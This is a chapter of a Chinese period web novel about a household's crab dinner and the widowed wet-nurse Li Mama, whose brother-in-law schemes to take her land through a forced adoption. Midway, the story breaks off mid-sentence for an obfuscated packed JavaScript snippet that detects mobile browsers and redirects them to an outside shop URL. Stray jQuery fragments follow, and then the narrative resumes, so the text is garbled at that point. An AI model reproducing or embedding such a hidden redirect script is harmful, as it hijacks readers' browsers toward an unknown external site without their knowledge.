13. 第 13 章
    厨下早已预备下了螃蟹,是才出来的尖脐蟹,拿缸养了几天,已经养的极肥大又鲜美。诸双全便命人拿了些去笼屉蒸了,又教人拣了些新鲜的果蔬做几个菜,酒便用才来的莲花酒。

    这酒原是用白莲花蕊酿造出来了,自带一股莲花的清香,最难得入口甘醇,不比其他的南酒差。

    周大家媳妇得了吩咐,便教人把那些送来的莲藕、莲子、菱角洗干净,用莲藕做了一道藕脯,莲子做了一道莲子鸭,菱角做了一道甜羹。

    这边小丫鬟已捧了几碟子果子进来,一碟鲜菱角、一碟鲜莲子、一碟榛子、一碟栗子。

    “嬷嬷,别的倒还罢了,这里的好大夫我也认识几个,改明也教他来与你瞧瞧。”诸双全剥了几粒莲子,便又转向与李嬷嬷说道。

    “何须姑娘费这个心,老婆子我的身体自己知道。”

    “这可不行,我明儿拿了帖子去请你姨妈说的甚么邓太医,咱们大家都看看,嬷嬷你也不要推脱了。”诸母接了诸双全剥得干干净净的莲子,复又问起老宅的事情。

    “请太太放心,我已按照太太的吩咐办了,咱们府上除却那几房老人家,余下的皆打发出去了,每人各赏银十两,发还良籍。”

    “很好,如今只愁棠红的婚事了。”诸母想起自己儿子办的好差事,不由得纳闷了,“怎的突然使了他,就是使了也不妨,如何不教他们先完婚也好,偏搅的两人一个在东,一个在西,真是罪过。”

    李嬷嬷便凑上前回道:“太太,这原不是咱们哥儿要使他的。太太也知道,这齐家哥儿最是孝顺。他老子娘病了,他晚上磨豆腐早上卖,卖了又去集市迎猪,下响便杀猪卖肉,一日不过睡个把时辰。他同棠红的老子娘说了,他若入赘过来,恐他老子娘没人照顾,便说略迟些完婚,棠红她娘也应了。可惜终究没个福分,算命的先生又说今年完婚恐有不利,我同哥儿说了,哥儿才教他来这里,咱们在那里,也有他几口饭吃。”

    “罢了,既然先生如此说,到时再教个阴阳先生好好瞧瞧,可不能这样拖着。棠红那丫头如今在那里呢?”

    “回太太的话,她如今且在外头候着呢,既然太太唤她,就教她进来与太太瞧一瞧。”说罢,李嬷嬷命小丫鬟叫棠红进来。

    诸母招手唤她走过来,意欲细细地瞧一瞧,看了半响,才道:“你瘦了,今儿教你拿些肉菜回去,好好养着。”

    那棠红的眼圈早红了,遂说道:“多谢太太,棠红与您请安道福了。”

    诸母又看向棠红身边而立的小丫鬟,她年纪不大,却很是精神,便问道:“你可是绛桃的妹子。”

    那小丫鬟怯生生地回道:“回太太,奴婢正是。”

    “可有名字没有?”

    “奴婢叫二妞。”

    诸母又仔细看她一眼,教诸双全与她取个名字:“既是你的丫鬟,你与她取个名字吧。”

    诸双全便让她到自个身边,上上下下地打量她,最后才说:“既然你拿着一个菱角,以后便叫你青菱好了。”

    听闻此话,青菱赶忙跪下道谢:“多谢姑娘赐名。”

    “日后你跟着你棠红姐姐,好好学些东西才是。”诸双全又说道,“好了,你且下去吧。”

    等棠红带着青菱退下去,诸母这才问起李嬷嬷的事。

    “嬷嬷,我说句不怕你恼的话。之前的事毕竟已经过去,人生的坎总是这样的,你若不肯过去,它总是要绊倒你,这以后可怎么活呢?”

    诸母说的正是李嬷嬷之子的事情,她们在内宅,只听得说是李嬷嬷的儿子与他人相争,不慎丢了性命。诸母也送了帖子求问书办,因是两家宗姓之间械斗,彼此都很使了些手段,县父母见了状子,把两家长老都找来说了些话,便做主要替他们讲和,两家各得了些烧埋银子,这事便算完了。

    因族老发话,李嬷嬷胳膊拧不过大腿,也只得罢了。最后还是诸母与了她三十两银子,李嬷嬷在棺材铺买了十六两银子的棺材,又花五两银子请了阴阳先生点穴,买了二两银子的布叫裁缝赶着做起衣裳来,选定日子后,才雇了几个脚夫,抬往祖坟安葬。

    这件事一下子教李嬷嬷白了头发,白发人送黑发人本就悲痛欲绝,族里还不发那赔的烧埋银子,只送了几串清钱并两根蜡烛,气得李嬷嬷趴在棺材前淌眼抹泪,直哭族老害她儿。

    “太太说的是,只是我儿才去不久,儿子含冤,做母亲的又怎能心安呢?”李嬷嬷两个眼圈红了,那泪不知不觉地就滚下来。

    诸母忙教小丫鬟与她帕子擦泪:“李嬷嬷,你莫哭,我知道你心里苦。咱们做母亲的,哪个孩子不是肚儿里出来的,千百般疼他还尤嫌少哩。如今一旦离你去了,哪个不觉得心肠寸断。”

    李嬷嬷忙用帕子拭泪:“是我不该,搅了太太的兴,只因太太十分说到我的心坎上。”

    诸母叹了一口气,便又说:“原也不是我有意提起你的伤心事,只是你大伯写信与大郎,说要过继他的二儿子与你。”

    李嬷嬷一听这话,气得眼瞪得和铜铃一样大,往地下啐一口:“这起子小人!原是该行瘟砍头的杀才!如何今儿又算计起我来了。”

    李嬷嬷的丈夫是家中二子,自李嬷嬷被诸府雇与诸双全做奶嬷嬷后,家中添了不少器物。李嬷嬷丈夫分家,分到了两亩地和三间草屋,他又用李嬷嬷寄回来的银子买了一头水牛,日常耕地省了不少功夫。

    原本李嬷嬷儿子不死,这些东西都是他继承,也轮不着她大伯想,可既然人不在了。她大伯便有意想弄这些回家,他本就是家中长子,论理也该继承他弟弟的财产,只是碍着侄儿因械斗而死,恐有人说他不好,这才挨了一段时间。

    今儿见自己侄儿已经入土为安,李

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13720641|144856||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    嬷嬷又得罪了族老,他便有意来弄这桩巧宗。因此,他便同族里说,不好教他弟弟断了香火,便要把他二儿子过继过去,那几亩地并房子便都是他儿子的了。

    丈夫去世,大伯自然可以代替做决定,因此便同族里通气,早早地霸了地和房子,把李嬷嬷租出去的水牛拉回自家。

    “你也知道,这宗嗣大事,我们这些外姓如何做得主。如今,你的大伯已经往族里通了气,你若是不想,赶紧拿个主意出来。”诸母接了信,便急得不行,打发了要见的人出去,这才私下同李嬷嬷说了这件事。

    李嬷嬷一时慌了神:“这教我如何是好,他既然已经说了,我又能说甚么呢?”

    诸双全便说:“嬷嬷,你不要慌,过继之事,虽然宗伯可以替你行事,可终究是过继到你名下,还得你同意才是。若是你不想,这事还有商量的余地。”

    诸母听闻也点点头:“不知道你宗伯还有没有小些的儿子,这般大,怕过继过来也养不熟。”

    李嬷嬷叹道:“他家虽有小儿子,恐怕也不肯。我早已打听过了,今年他二儿子要成亲,若果然给他弄成了,房子是现成的,田也是现成的。”

    诸双全沉思一会儿,乃说道:“既这么着,李嬷嬷不妨抱一个回来就是,只说是奶哥哥在外头与女人有了首尾,虽是私生子,却也可以得了财产。只是你这么办了,族里的东西需得当的当,卖的卖,离得远一些才好。”

    诸母一听,脸色一黑,正要细问女儿从哪里知道这些不着四六的话,好好训训她,见李嬷嬷若有所思,便赶紧说:“你说的什么昏话!什么叫从外头抱一个孩子,这话也是能胡说的?这血缘子嗣的事情,怎么可以混淆???”

    “太太,我到觉得这是再好的主意也没有的了。”李嬷嬷一脸兴奋,如春风拂面,“那小孩儿记得些什么,若是能来我这里,还怕我不疼么?只是这人选需得好好挑一挑才是。”

    “李嬷嬷,她小儿家说的,怎么能当真。还是正经同宗伯商量,把他家小儿子过继过来,他年纪小,你对他好,还怕他以后不肯赡养你?”诸母极口劝道,深怕李嬷嬷真听了诸双全的话,从外头抱个孩子回来。

    “太太,我知晓你的意思,只是他们家的孩儿,真是蛇鼠一窝,没一个好人,过继他们家的,我只恐我这个人被他们嚼了又啃,那里有什么好日子过,还是姑娘这个法子好。”

    诸母听了李嬷嬷的话,怒目瞪着诸双全,吓得她脖子往后缩了又缩。

    外头又一阵脚步响,打断了她们的话,有小丫鬟进来说饭已经备下,可否要进来摆饭。

    诸双全赶紧回了一嘴:“快叫人进来吧。”

    听闻她的回话,两边帘子被小丫鬟揭开,另有媳妇捧着红漆食盒鱼贯而入。

    诸母又瞪了她一眼,见里面的人多,不便说话,方才罢了。